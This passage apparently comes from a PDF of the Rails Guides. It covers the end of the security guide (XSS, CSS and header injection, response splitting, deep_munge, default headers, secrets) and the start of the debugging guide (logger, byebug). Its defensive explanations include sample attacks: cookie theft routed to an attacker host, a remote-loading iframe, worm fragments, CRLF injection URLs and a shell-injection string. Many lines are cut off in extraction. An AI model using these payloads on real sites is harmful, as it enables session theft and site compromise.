you can use the document.cookie property to read and write the
document's cookie. JavaScript enforces the same origin policy, that means
a script from one domain cannot access cookies of another domain. The
document.cookie property holds the cookie of the originating web server.
However, you can read and write this property, if you embed the code
directly in the HTML document (as it happens with XSS). Inject this
anywhere in your web application to see your own cookie on the result
page:
<script>document.write(document.cookie);</script>

For an attacker, of course, this is not useful, as the victim will see their
own cookie. The next example will try to load an image from the URL
http://www.attacker.com/ plus the cookie. Of course this URL does not
exist, so the browser displays nothing. But the attacker can review their
web server's access log files to see the victim's cookie.

The log files on www.attacker.com will read like this:

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4

You can mitigate these attacks (in the obvious way) by adding the
httpOnly flag to cookies, so that document.cookie may not be read by
JavaScript. Http only cookies can be used from IE v6.SP1, Firefox
v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But
other, older browsers (such as WebTV and IE 5.5 on Mac) can actually
cause the page to fail to load. Be warned that cookies will still be visible
using Ajax, though.
7.3.2.2 Defacement

With web page defacement an attacker can do a lot of things, for example,
present false information or lure the victim on the attackers web site to
steal the cookie, login credentials or other sensitive data. The most popular
way is to include code from external sources by iframes:

<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 heigh

This loads arbitrary HTML and/or JavaScript from an external source and
embeds it as part of the site. This iframe is taken from an actual attack on
legitimate Italian sites using the Mpack attack framework. Mpack tries to
install malicious software through security holes in the web browser - very
successfully, 50% of the attacks succeed.
A more specialized attack could overlap the entire web site or display a
login form, which looks the same as the site's original, but transmits the
user name and password to the attacker's site. Or it could use CSS and/or
JavaScript to hide a legitimate link in the web application, and display
another one at its place which redirects to a fake web site.
Reflected injection attacks are those where the payload is not stored to
present it to the victim later on, but included in the URL. Especially search
forms fail to escape the search string. The following link presented a page
which stated that "George Bush appointed a 9 year old boy to be the
chairperson...":

http://www.cbsnews.com/stories/2002/02/15/weather_local/main5016
<script src=http://www.securitylab.ru/test/sc.js></script><!-7.3.2.3 Countermeasures

It is very important to filter malicious input, but it is also important to

escape the output of the web application.
Especially for XSS, it is important to do whitelist input filtering instead of

blacklist. Whitelist filtering states the values allowed as opposed to the

values not allowed. Blacklists are never complete.
Imagine a blacklist deletes "script" from the user input. Now the attacker
injects "<scrscriptipt>", and after the filter, "<script>" remains. Earlier
versions of Rails used a blacklist approach for the strip_tags(),
strip_links() and sanitize() method. So this kind of injection was possible:
strip_tags("some<<b>script>alert('hello')<</b>/script>")

This returned "some<script>alert('hello')</script>", which makes an attack

work. That's why a whitelist approach is better, using the updated Rails 2
method sanitize():

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blo

s = sanitize(user_input, tags: tags, attributes: %w(href title))

This allows only the given tags and does a good job, even against all kinds
of tricks and malformed tags.
As a second step, it is good practice to escape all output of the application,
especially when re-displaying user input, which hasn't been input-filtered
(as in the search form example earlier on). Use escapeHTML() (or its alias
h()) method to replace the HTML input characters &, ", <, and > by their
uninterpreted representations in HTML (&, ", <, and >).
However, it can easily happen that the programmer forgets to use it, so _it
is recommended to use the SafeErb gem. SafeErb reminds you to escape
strings from external sources.
7.3.2.4 Obfuscation and Encoding Injection

Network traffic is mostly based on the limited Western alphabet, so new

character encodings, such as Unicode, emerged, to transmit characters in
other languages. But, this is also a threat to web applications, as malicious

code can be hidden in different encodings that the web browser might be
able to process, but the web application might not. Here is an attack vector
in UTF-8 encoding:

This example pops up a message box. It will be recognized by the above

sanitize() filter, though. A great tool to obfuscate and encode strings, and
thus "get to know your enemy", is the Hackvertor. Rails' sanitize() method
does a good job to fend off encoding attacks.
7.3.3 Examples from the Underground

In order to understand today's attacks on web applications, it's best to take

a look at some real-world attack vectors.
The following is an excerpt from the Js.Yamanner@m Yahoo! Mail worm.
It appeared on June 11, 2006 and was the first webmail interface worm:

<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1
target=""onload="var http_request = false; var Email = '';
var IDList = ''; var CRumb = ''; function makeRequest(url,

The worms exploit a hole in Yahoo's HTML/JavaScript filter, which

usually filters all targets and onload attributes from tags (because there can
be JavaScript). The filter is applied only once, however, so the onload
attribute with the worm code stays in place. This is a good example why
blacklist filters are never complete and why it is hard to allow
HTML/JavaScript in a web application.
Another proof-of-concept webmail worm is Nduja, a cross-domain worm
for four Italian webmail services. Find more details on Rosario Valotta's
paper. Both webmail worms have the goal to harvest email addresses,

something a criminal hacker could make money with.

In December 2006, 34,000 actual user names and passwords were stolen in
a MySpace phishing attack. The idea of the attack was to create a profile
page named "login_home_index_html", so the URL looked very
convincing. Specially-crafted HTML and CSS was used to hide the
genuine MySpace content from the page and instead display its own login
form.
7.4 CSS Injection
CSS Injection is actually JavaScript injection, because some browsers (IE,
some versions of Safari and others) allow JavaScript in CSS. Think twice
about allowing custom CSS in your web application.
CSS Injection is explained best by the well-known MySpace Samy worm.
This worm automatically sent a friend request to Samy (the attacker)
simply by visiting his profile. Within several hours he had over 1 million
friend requests, which created so much traffic that MySpace went offline.
The following is a technical explanation of that worm.
MySpace blocked many tags, but allowed CSS. So the worm's author put
JavaScript into CSS like this:
<div style="background:url('javascript:alert(1)')">

So the payload is in the style attribute. But there are no quotes allowed in
the payload, because single and double quotes have already been used. But
JavaScript has a handy eval() function which executes any string as code.

<div id="mycode" expr="alert('hah!')" style="background:url('jav

The eval() function is a nightmare for blacklist input filters, as it allows the

style attribute to hide the word "innerHTML":

alert(eval('document.body.inne' + 'rHTML'));

The next problem was MySpace filtering the word "javascript", so the
author used "java<NEWLINE>script" to get around this:

<div id="mycode" expr="alert('hah!')" style="background:url('jav

Another problem for the worm's author was the CSRF security tokens.
Without them he couldn't send a friend request over POST. He got around
it by sending a GET to the page right before adding a user and parsing the
result for the CSRF token.
In the end, he got a 4 KB worm, which he injected into his profile page.
The moz-binding CSS property proved to be another way to introduce
JavaScript in CSS in Gecko-based browsers (Firefox, for example).
7.4.1 Countermeasures

This example, again, showed that a blacklist filter is never complete.

However, as custom CSS in web applications is a quite rare feature, it may
be hard to find a good whitelist CSS filter. If you want to allow custom
colors or images, you can allow the user to choose them and build the CSS
in the web application. Use Rails' sanitize() method as a model for a
whitelist CSS filter, if you really need one.
7.5 Textile Injection
If you want to provide text formatting other than HTML (due to security),
use a mark-up language which is converted to HTML on the server-side.
RedCloth is such a language for Ruby, but without precautions, it is also

vulnerable to XSS.
For example, RedCloth translates _test_ to <em>test<em>, which makes
the text italic. However, up to the current version 3.0.4, it is still vulnerable
to XSS. Get the all-new version 4 that removed serious bugs. However,
even that version has some security bugs, so the countermeasures still
apply. Here is an example for version 3.0.4:
RedCloth.new('<script>alert(1)</script>').to_html
# => "<script>alert(1)</script>"

Use the :filter_html option to remove HTML which was not created by the
Textile processor.

RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_htm
# => "alert(1)"

However, this does not filter all HTML, a few tags will be left (by design),
for example <a>:

RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter

# => "<p><a href="javascript:alert(1)">hello</a></p>"
7.5.1 Countermeasures

It is recommended to use RedCloth in combination with a whitelist input

filter, as described in the countermeasures against XSS section.
7.6 Ajax Injection
The same security precautions have to be taken for Ajax actions as for
"normal" ones. There is at least one exception, however: The output has to
be escaped in the controller already, if the action doesn't render a view.

If you use the in_place_editor plugin, or actions that return a string, rather
than rendering a view, you have to escape the return value in the action.
Otherwise, if the return value contains a XSS string, the malicious code
will be executed upon return to the browser. Escape any input value using
the h() method.
7.7 Command Line Injection
Use user-supplied command line parameters with caution.
If your application has to execute commands in the underlying operating
system, there are several methods in Ruby: exec(command),
syscall(command), system(command) and command. You will have to be
especially careful with these functions if the user may enter the whole
command, or a part of it. This is because in most shells, you can execute
another command at the end of the first one, concatenating them with a
semicolon (;) or a vertical bar (|).
A countermeasure is to use the system(command, parameters) method
which passes command line parameters safely.
system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files

7.8 Header Injection

HTTP headers are dynamically generated and under certain
circumstances user input may be injected. This can lead to false
redirection, XSS or HTTP response splitting.
HTTP request headers have a Referer, User-Agent (client software), and
Cookie field, among others. Response headers for example have a status
code, Cookie and Location (redirection target URL) field. All of them are
user-supplied and may be manipulated with more or less effort. Remember

to escape these header fields, too. For example when you display the user
agent in an administration area.
Besides that, it is important to know what you are doing when building
response headers partly based on user input. For example you want to
redirect the user back to a specific page. To do that you introduced a
"referer" field in a form to redirect to the given address:
redirect_to params[:referer]

What happens is that Rails puts the string into the Location header field
and sends a 302 (redirect) status to the browser. The first thing a malicious
user would do, is this:

http://www.yourapplication.com/controller/action?referer=http://

And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a
hacker may inject arbitrary header fields; for example like this:

http://www.yourapplication.com/controller/action?referer=http://
http://www.yourapplication.com/controller/action?referer=path/at

Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return

and line-feed (CRLF) in Ruby. So the resulting HTTP header for the
second example will be the following because the second Location header
field overwrites the first.
HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld

So attack vectors for Header Injection are based on the injection of CRLF
characters in a header field. And what could an attacker do with a false

redirection? They could redirect to a phishing site that looks the same as
yours, but ask to login again (and sends the login credentials to the
attacker). Or they could install malicious software through browser
security holes on that site. Rails 2.1.2 escapes these characters for the
Location field in the redirect_to method. Make sure you do it yourself
when you build other header fields with user input.
7.8.1 Response Splitting

If Header Injection was possible, Response Splitting might be, too. In

HTTP, the header block is followed by two CRLFs and the actual data
(usually HTML). The idea of Response Splitting is to inject two CRLFs
into a header field, followed by another response with malicious HTML.
The response will be:
HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:Content-Type: text/html

HTTP/1.1 200 OK [Second New response created by attacker begins]

Content-Type: text/html

<html><font color=red>hey</font></html>
Keep-Alive: timeout=15, max=100 shown as the redirected
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

Under certain circumstances this would present the malicious HTML to

the victim. However, this only seems to work with Keep-Alive
connections (and many browsers are using one-time connections). But you
can't rely on this. In any case this is a serious bug, and you should update
your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus
response splitting) risks.

8 Unsafe Query Generation

Due to the way Active Record interprets parameters in combination with
the way that Rack parses query parameters it was possible to issue
unexpected database queries with IS NULL where clauses. As a response to
that security issue (CVE-2012-2660, CVE-2012-2694 and CVE-20130155) deep_munge method was introduced as a solution to keep Rails
secure by default.
Example of vulnerable code that could be used by attacker, if deep_munge
wasn't performed is:
unless params[:token].nil?
user = User.find_by_token(params[:token])
user.reset_password!
end

When params[:token] is one of: [nil], [nil, nil, ...] or ['foo',

nil] it will bypass the test for nil, but IS NULL or IN ('foo', NULL)
where clauses still will be added to the SQL query.
To keep rails secure by default, deep_munge replaces some of the values
with nil. Below table shows what the parameters look like based on JSON
sent in request:
JSON

Parameters

{ "person": null }
{ :person => nil }
{ "person": [] }
{ :person => [] }
{ "person": [null] }
{ :person => [] }
{ "person": [null, null, ...] } { :person => [] }
{ "person": ["foo", null] }
{ :person => ["foo"] }

It is possible to return to old behavior and disable deep_munge configuring

your application if you are aware of the risk and know how to handle it:

config.action_dispatch.perform_deep_munge = false

9 Default Headers
Every HTTP response from your Rails application receives the following
default security headers.
config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
'X-XSS-Protection' => '1; mode=block',
'X-Content-Type-Options' => 'nosniff'
}

You can configure default headers in config/application.rb.

config.action_dispatch.default_headers = {
'Header-Name' => 'Header-Value',
'X-Frame-Options' => 'DENY'
}

Or you can remove them.

config.action_dispatch.default_headers.clear

Here is a list of common headers:

X-Frame-Options: 'SAMEORIGIN' in Rails by default - allow
framing on same domain. Set it to 'DENY' to deny framing at all or
'ALLOWALL' if you want to allow framing for all website.
X-XSS-Protection: '1; mode=block' in Rails by default - use XSS
Auditor and block page if XSS attack is detected. Set it to '0;' if you
want to switch XSS Auditor off(useful if response contents scripts
from request parameters)
X-Content-Type-Options: 'nosniff' in Rails by default - stops the
browser from guessing the MIME type of a file.
X-Content-Security-Policy: A powerful mechanism for controlling

which sites certain content types can be loaded from

Access-Control-Allow-Origin: Used to control which sites are
allowed to bypass same origin policies and send cross-origin requests.
Strict-Transport-Security: Used to control if the browser is allowed
to only access a site over a secure connection

10 Environmental Security
It is beyond the scope of this guide to inform you on how to secure your
application code and environments. However, please secure your database
configuration, e.g. config/database.yml, and your server-side secret, e.g.
stored in config/secrets.yml. You may want to further restrict access,
using environment-specific versions of these files and any others that may
contain sensitive information.
10.1 Custom secrets
Rails generates a config/secrets.yml. By default, this file contains the
application's secret_key_base, but it could also be used to store other
secrets such as access keys for external APIs.
The secrets added to this file are accessible via
Rails.application.secrets. For example, with the following
config/secrets.yml:
development:
secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
some_api_key: SOMEKEY

Rails.application.secrets.some_api_key returns SOMEKEY in the

development environment.
If you want an exception to be raised when some key is blank, use the
bang version:

Rails.application.secrets.some_api_key! # => raises KeyError: ke

11 Additional Resources
The security landscape shifts and it is important to keep up to date,
because missing a new vulnerability can be catastrophic. You can find
additional resources about (Rails) security here:
Subscribe to the Rails security mailing list
Keep up to date on the other application layers (they have a weekly
newsletter, too)
A good security blog including the Cross-Site scripting Cheat Sheet

Debugging Rails Applications

Ruby on...

1 View Helpers for Debugging

One common task is to inspect the contents of a variable. Rails provides
three different ways to do this:
debug
to_yaml
inspect

1.1 debug
The debug helper will return a <pre> tag that renders the object using the
YAML format. This will generate human-readable data from any object.
For example, if you have this code in a view:
<%= debug @article %>
<p>
<b>Title:</b>
<%= @article.title %>
</p>

You'll see something like this:

--- !ruby/object Article
attributes:
updated_at: 2008-09-05 22:55:47
body: It's a very helpful guide for debugging your Rails app.
title: Rails debugging guide
published: t
id: "1"
created_at: 2008-09-05 22:55:47
attributes_cache: {}

Title: Rails debugging guide

1.2 to_yaml
Alternatively, calling to_yaml on any object converts it to YAML. You
can pass this converted object into the simple_format helper method to
format the output. This is how debug does its magic.
<%= simple_format @article.to_yaml %>
<p>
<b>Title:</b>
<%= @article.title %>
</p>

The above code will render something like this:

1.3 inspect
Another useful method for displaying object values is inspect, especially
when working with arrays or hashes. This will print the object value as a
string. For example:
<%= [1, 2, 3, 4, 5].inspect %>
<p>
<b>Title:</b>
<%= @article.title %>
</p>

Will render:
[1, 2, 3, 4, 5]
Title: Rails debugging guide

2 The Logger
It can also be useful to save information to log files at runtime. Rails
maintains a separate log file for each runtime environment.
2.1 What is the Logger?
Rails makes use of the ActiveSupport::Logger class to write log
information. Other loggers, such as Log4r, may also be substituted.
You can specify an alternative logger in config/application.rb or any
other environment file, for example:
config.logger = Logger.new(STDOUT)
config.logger = Log4r::Logger.new("Application Log")

Or in the Initializer section, add any of the following

Rails.logger = Logger.new(STDOUT)
Rails.logger = Log4r::Logger.new("Application Log")

By default, each log is created under Rails.root/log/ and the log file is
named after the environment in which the application is running.
2.2 Log Levels
When something is logged, it's printed into the corresponding log if the log
level of the message is equal to or higher than the configured log level. If
you want to know the current log level, you can call the
Rails.logger.level method.
The available log levels are: :debug, :info, :warn, :error, :fatal, and
:unknown, corresponding to the log level numbers from 0 up to 5,

respectively. To change the default log level, use

config.log_level = :warn # In any environment initializer, or
Rails.logger.level = 0 # at any time

This is useful when you want to log under development or staging without
flooding your production log with unnecessary information.
The default Rails log level is debug in all environments.
2.3 Sending Messages
To write in the current log use the logger.
(debug|info|warn|error|fatal) method from within a controller, model
or mailer:

logger.debug "Person attributes hash: #{@person.attributes.inspe

logger.info "Processing the request..."
logger.fatal "Terminating application, raised unrecoverable erro

Here's an example of a method instrumented with extra logging:

class ArticlesController < ApplicationController
# ...
def create
@article = Article.new(params[:article])
logger.debug "New article: #{@article.attributes.inspect}"
logger.debug "Article should be valid: #{@article.valid?}"

if @article.save
flash[:notice] = 'Article was successfully created.'
logger.debug "The article was saved and now the user is go
redirect_to(@article)
else
render action: "new"
end

end
# ...
end

Here's an example of the log generated when this controller action is

executed:

Processing ArticlesController#create (for 127.0.0.1 at 2008-09-0

Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OT
vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd
Parameters: {"commit"=>"Create", "article"=>{"title"=>"Debuggi
"body"=>"I'm learning how to print in logs!!!", "published"=>"0
"authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd
New article: {"updated_at"=>nil, "title"=>"Debugging Rails", "bo
"published"=>false, "created_at"=>nil}
Article should be valid: true
Article Create (0.000443) INSERT INTO "articles" ("updated_a
"created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52
The article was saved and now the user is going to be redirected
Redirected to # Article:0x20af760>
Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Foun

Adding extra logging like this makes it easy to search for unexpected or
unusual behavior in your logs. If you add extra logging, be sure to make
sensible use of log levels to avoid filling your production logs with useless
trivia.
2.4 Tagged Logging
When running multi-user, multi-account applications, it's often useful to be
able to filter the logs using some custom rules. TaggedLogging in Active
Support helps you do exactly that by stamping log lines with subdomains,
request ids, and anything else to aid debugging such applications.
logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))

logger.tagged("BCX") { logger.info "Stuff" }

logger.tagged("BCX", "Jason") { logger.info "Stuff" }
logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stu

2.5 Impact of Logs on Performance

Logging will always have a small impact on the performance of your Rails
app, particularly when logging to disk. Additionally, there are a few
subtleties:
Using the :debug level will have a greater performance penalty than
:fatal, as a far greater number of strings are being evaluated and written
to the log output (e.g. disk).
Another potential pitfall is too many calls to Logger in your code:

logger.debug "Person attributes hash: #{@person.attributes.inspe

In the above example, there will be a performance impact even if the

allowed output level doesn't include debug. The reason is that Ruby has to
evaluate these strings, which includes instantiating the somewhat heavy
String object and interpolating the variables. Therefore, it's recommended
to pass blocks to the logger methods, as these are only evaluated if the
output level is the same as or included in the allowed level (i.e. lazy
loading). The same code rewritten would be:

logger.debug {"Person attributes hash: #{@person.attributes.insp

The contents of the block, and therefore the string interpolation, are only
evaluated if debug is enabled. This performance savings are only really
noticeable with large amounts of logging, but it's a good practice to
employ.

3 Debugging with the byebug gem

When your code is behaving in unexpected ways, you can try printing to
logs or the console to diagnose the problem. Unfortunately, there are times
when this sort of error tracking is not effective in finding the root cause of
a problem. When you actually need to journey into your running source
code, the debugger is your best companion.
The debugger can also help you if you want to learn about the Rails source
code but don't know where to start. Just debug any request to your
application and use this guide to learn how to move from the code you
have written into the underlying Rails code.
3.1 Setup
You can use the byebug gem to set breakpoints and step through live code
in Rails. To install it, just run:
$ gem install byebug

Inside any Rails application you can then invoke the debugger by calling
the byebug method.
Here's an example:
class PeopleController < ApplicationController
def new
byebug
@person = Person.new
end
end

3.2 The Shell

As soon as your application calls the byebug method, the debugger will be
started in a debugger shell inside the terminal window where you launched
your application server, and you will be placed at the debugger's prompt
(byebug). Before the prompt, the code around the line that is about to be
run will be displayed and the current line will be marked by '=>', like this:

[1, 10] in /PathTo/project/app/controllers/articles_controller.r

3:
4: # GET /articles
5: # GET /articles.json
6: def index
7: byebug
=> 8: @articles = Article.find_recent
9:
10: respond_to do |format|
11: format.html # index.html.erb
12: format.json { render json: @articles }
(byebug)

If you got there by a browser request, the browser tab containing the
request will be hung until the debugger has finished and the trace has
finished processing the entire request.
For example:

=> Booting Puma

=> Rails 5.0.0 application starting in development on http://0.0
=> Run `rails server -h` for more startup options
Puma starting in single mode...
* Version 3.4.0 (ruby 2.3.1-p112), codename: Owl Bowl Brawl
* Min threads: 5, max threads: 5
* Environment: development
* Listening on tcp://localhost:3000
Use Ctrl-C to stop
Started GET "/" for 127.0.0.1 at 2014-04-11 13:11:48 +0200
ActiveRecord::SchemaMigration Load (0.2ms) SELECT "schema_mig
Processing by ArticlesController#index as HTML

[3, 12] in /PathTo/project/app/controllers/articles_controller.r

Now it's time to explore your application. A good place to start is by

asking the debugger for help. Type: help
(byebug) help

break -- Sets breakpoints in the source code

catch -- Handles exception catchpoints
condition -- Sets conditions on breakpoints
continue -- Runs until program ends, hits a breakpoint or re
debug -- Spawns a subdebugger
delete -- Deletes breakpoints
disable -- Disables breakpoints or displays
display -- Evaluates expressions every time the debugger st
down -- Moves to a lower frame in the stack trace
edit -- Edits source files
enable -- Enables breakpoints or displays
finish -- Runs the program until frame returns
frame -- Moves to a frame in the call stack
help -- Helps you using byebug
history -- Shows byebug's history of commands
info -- Shows several informations about the program bei
interrupt -- Interrupts the program
irb -- Starts an IRB session
kill -- Sends a signal to the current process
list -- Lists lines of source code
method -- Shows methods of an object, class or module
next -- Runs one or more lines of code
pry -- Starts a Pry session

quit -- Exits byebug

restart -- Restarts the debugged program
save -- Saves current byebug session to a file
set -- Modifies byebug settings
show -- Shows byebug settings
source -- Restores a previously saved byebug session
step -- Steps into blocks or methods one or more times
thread -- Commands to manipulate threads
tracevar -- Enables tracing of a global variable
undisplay -- Stops displaying all or some expressions when pr
untracevar -- Stops tracing a global variable
up -- Moves to a higher frame in the stack trace
var -- Shows variables and its values
where -- Displays the backtrace
(byebug)

To see the previous ten lines you should type list- (or l-).
(byebug) l-

[1, 10] in /PathTo/project/app/controllers/articles_controller.r

1 class ArticlesController < ApplicationController
2 before_action :set_article, only: [:show, :edit, :update
3
4 # GET /articles
5 # GET /articles.json
6 def index
7 byebug
8 @articles = Article.find_recent
9
10 respond_to do |format|

This way you can move inside the file and see the code above the line
where you added the byebug call. Finally, to see where you are in the code
again you can type list=
(byebug) list=

[3, 12] in /PathTo/project/app/controllers/articles_controller.r

3.3 The Context

When you start debugging your application, you will be placed in different
contexts as you go through the different parts of the stack.
The debugger creates a context when a stopping point or an event is
reached. The context has information about the suspended program which
enables the debugger to inspect the frame stack, evaluate variables from
the perspective of the debugged program, and know the place where the
debugged program is stopped.
At any time you can call the backtrace command (or its alias where) to
print the backtrace of the application. This can be very helpful to know
how you got where you are. If you ever wondered about how you got
somewhere in your code, then backtrace will supply the answer.

(byebug) where
--> #0 ArticlesController.index
at /PathToProject/app/controllers/articles_controller.rb:8
#1 ActionController::BasicImplicitRender.send_action(method
at /PathToGems/actionpack-5.0.0/lib/action_controller/meta
#2 AbstractController::Base.process_action(action#NilClass,
at /PathToGems/actionpack-5.0.0/lib/abstract_controller/ba
#3 ActionController::Rendering.process_action(action, *args
at /PathToGems/actionpack-5.0.0/lib/action_controller/meta

...

The current frame is marked with -->. You can move anywhere you want
in this trace (thus changing the context) by using the frame n command,
where n is the specified frame number. If you do that, byebug will display
your new context.
(byebug) frame 2

[176, 185] in /PathToGems/actionpack-5.0.0/lib/abstract_controll

176: # is the intended way to override action dispatchi
177: #
178: # Notice that the first argument is the method to
179: # which is *not* necessarily the same as the actio
180: def process_action(method_name, *args)
=> 181: send_action(method_name, *args)
182: end
183:
184: # Actually call the method associated with the act
185: # this method if you wish to change how action met
(byebug)

The available variables are the same as if you were running the code line
by line. After all, that's what debugging is.
You can also use up [n] and down [n] commands in order to change the
context n frames up or down the stack respectively. n defaults to one. Up
in this case is towards higher-numbered stack frames, and down is towards
lower-numbered stack frames.
3.4 Threads
The debugger can list, stop, resume and switch between running threads by
using the thread command (or the abbreviated th). This command has a
handful of options:

thread: shows the current thread.

thread list: is used to list all threads and their statuses. The current

thread is marked with a plus (+) sign.

thread stop n: stops thread n.
thread resume n: resumes thread n.
thread switch n: switches the current thread context to n.
This command is very helpful when you are debugging concurrent threads
and need to verify that there are no race conditions in your code.
3.5 Inspecting Variables
Any expression can be evaluated in the current context. To evaluate an
expression, just type it!
This example shows how you can print the instance variables defined
within the current context:

[3, 12] in /PathTo/project/app/controllers/articles_controller.r

(byebug) instance_variables
[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lo
:@_action_name, :@_response_body, :@marked_for_same_origin_veri
:@_config]

As you may have figured out, all of the variables that you can access from
a controller are displayed. This list is dynamically updated as you execute

code. For example, run the next line using next (you'll learn more about
this command later in this guide).
(byebug) next

[5, 14] in /PathTo/project/app/controllers/articles_controller.r

5 # GET /articles.json
6 def index
7 byebug
8 @articles = Article.find_recent
9
=> 10 respond_to do |format|
11 format.html # index.html.erb
12 format.json { render json: @articles }
13 end
14 end
15
(byebug)

And then ask again for the instance_variables:

(byebug) instance_variables
[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lo
:@_action_name, :@_response_body, :@marked_for_same_origin_veri
:@_config, :@articles]

Now @articles is included in the instance variables, because the line

defining it was executed.
You can also step into irb mode with the command irb (of course!). This
will start an irb session within the context you invoked it.
The var method is the most convenient way to show variables and their
values. Let's have byebug help us with it.
(byebug) help var
[v]ar <subcommand>

Shows variables and its values

var all -- Shows local, global and instance variables of

var args -- Information about arguments of the current sco
var const -- Shows constants of an object.
var global -- Shows global variables.
var instance -- Shows instance variables of self or a specific
var local -- Shows local variables in current scope.

This is a great way to inspect the values of the current context variables.
For example, to check that we have no local variables currently defined:
(byebug) var local
(byebug)

You can also inspect for an object method this way:

(byebug) var instance Article.new

@_start_transaction_state = {}
@aggregation_cache = {}
@association_cache = {}
@attributes = #<ActiveRecord::AttributeSet:0x007fd0682a9b18 @att
@destroyed = false
@destroyed_by_association = nil
@marked_for_destruction = false
@new_record = true
@readonly = false
@transaction_state = nil
@txn = nil

You can also use display to start watching variables. This is a good way
of tracking the values of a variable while the execution goes on.
(byebug) display @articles
1: @articles = nil

The variables inside the displayed list will be printed with their values
after you move in the stack. To stop displaying a variable use undisplay n
where n is the variable number (1 in the last example).
3.6 Step by Step
Now you should know where you are in the running trace and be able to
print the available variables. But let's continue and move on with the
application execution.
Use step (abbreviated s) to continue running your program until the next
logical stopping point and return control to the debugger. next is similar to
step, but while step stops at the next line of code executed, doing just a
single step, next moves to the next line without descending inside
methods.
For example, consider the following situation:
Started GET "/" for 127.0.0.1 at 2014-04-11 13:39:23 +0200
Processing by ArticlesController#index as HTML
[1, 6] in /PathToProject/app/models/article.rb
1: class Article < ApplicationRecord
2: def self.find_recent(limit = 10)
3: byebug
=> 4: where('created_at > ?', 1.week.ago).limit(limit)
5: end
6: end
(byebug)

If we use next, we won't go deep inside method calls. Instead, byebug will
go to the next line within the same context. In this case, it is the last line of
the current method, so byebug will return to the next line of the caller

method.

(byebug) next
[4, 13] in /PathToProject/app/controllers/articles_controller.rb
4: # GET /articles
5: # GET /articles.json
6: def index
7: @articles = Article.find_recent
8:
=> 9: respond_to do |format|
10: format.html # index.html.erb
11: format.json { render json: @articles }
12: end
13: end
(byebug)

If we use step in the same situation, byebug will literally go to the next
Ruby instruction to be executed -- in this case, Active Support's week
method.
(byebug) step

[49, 58] in /PathToGems/activesupport-5.0.0/lib/active_support/c

49:
50: # Returns a Duration instance matching the number of we
51: #
52: # 2.weeks # => 14 days
53: def weeks
=> 54: ActiveSupport::Duration.new(self * 7.days, [[:days, s
55: end
56: alias :week :weeks
57:
58: # Returns a Duration instance matching the number of fo
(byebug)

This is one of the best ways to find bugs in your code.

You can also use step n or next n to move forward n steps at once.

3.7 Breakpoints
A breakpoint makes your application stop whenever a certain point in the
program is reached. The debugger shell is invoked in that line.
You can add breakpoints dynamically with the command break (or just b).
There are 3 possible ways of adding breakpoints manually:
break n: set breakpoint in line number n in the current source file.
break file:n [if expression]: set breakpoint in line number n

inside file named file. If an expression is given it must evaluated to

true to fire up the debugger.
break class(.|\#)method [if expression]: set breakpoint in
method (. and # for class and instance method respectively) defined in
class. The expression works the same way as with file:n.
For example, in the previous situation

[4, 13] in /PathToProject/app/controllers/articles_controller.rb

4: # GET /articles
5: # GET /articles.json
6: def index
7: @articles = Article.find_recent
8:
=> 9: respond_to do |format|
10: format.html # index.html.erb
11: format.json { render json: @articles }
12: end
13: end
(byebug) break 11
Successfully created breakpoint with id 1

Use info breakpoints to list breakpoints. If you supply a number, it lists

that breakpoint. Otherwise it lists all breakpoints.

(byebug) info breakpoints

Num Enb What
1 y at /PathToProject/app/controllers/articles_controller.rb

To delete breakpoints: use the command delete n to remove the

breakpoint number n. If no number is specified, it deletes all breakpoints
that are currently active.
(byebug) delete 1
(byebug) info breakpoints
No breakpoints.

You can also enable or disable breakpoints:

enable breakpoints [n [m [...]]]: allows a specific breakpoint

list or all breakpoints to stop your program. This is the default state
when you create a breakpoint.
disable breakpoints [n [m [...]]]: make certain (or all)
breakpoints have no effect on your program.
3.8 Catching Exceptions
The command catch exception-name (or just cat exception-name) can
be used to intercept an exception of type exception-name when there
would otherwise be no handler for it.
To list all active catchpoints use catch.
3.9 Resuming Execution
There are two ways to resume execution of an application that is stopped
in the debugger:
continue [n]: resumes program execution at the address where your

script last stopped; any breakpoints set at that address are bypassed.
The optional argument n allows you to specify a line number to set a
one-time breakpoint which is deleted when that breakpoint is reached.
finish [n]: execute until the selected stack frame returns. If no
frame number is given, the application will run until the currently
selected frame returns. The currently selected frame starts out the
most-recent frame or 0 if no frame positioning (e.g up, down or
frame) has been performed. If a frame number is given it will run
until the specified frame returns.
3.10 Editing
Two commands allow you to open code from the debugger into an editor:
edit [file:n]: edit file named file using the editor specified by the

EDITOR environment variable. A specific line n can also be given.

3.11 Quitting
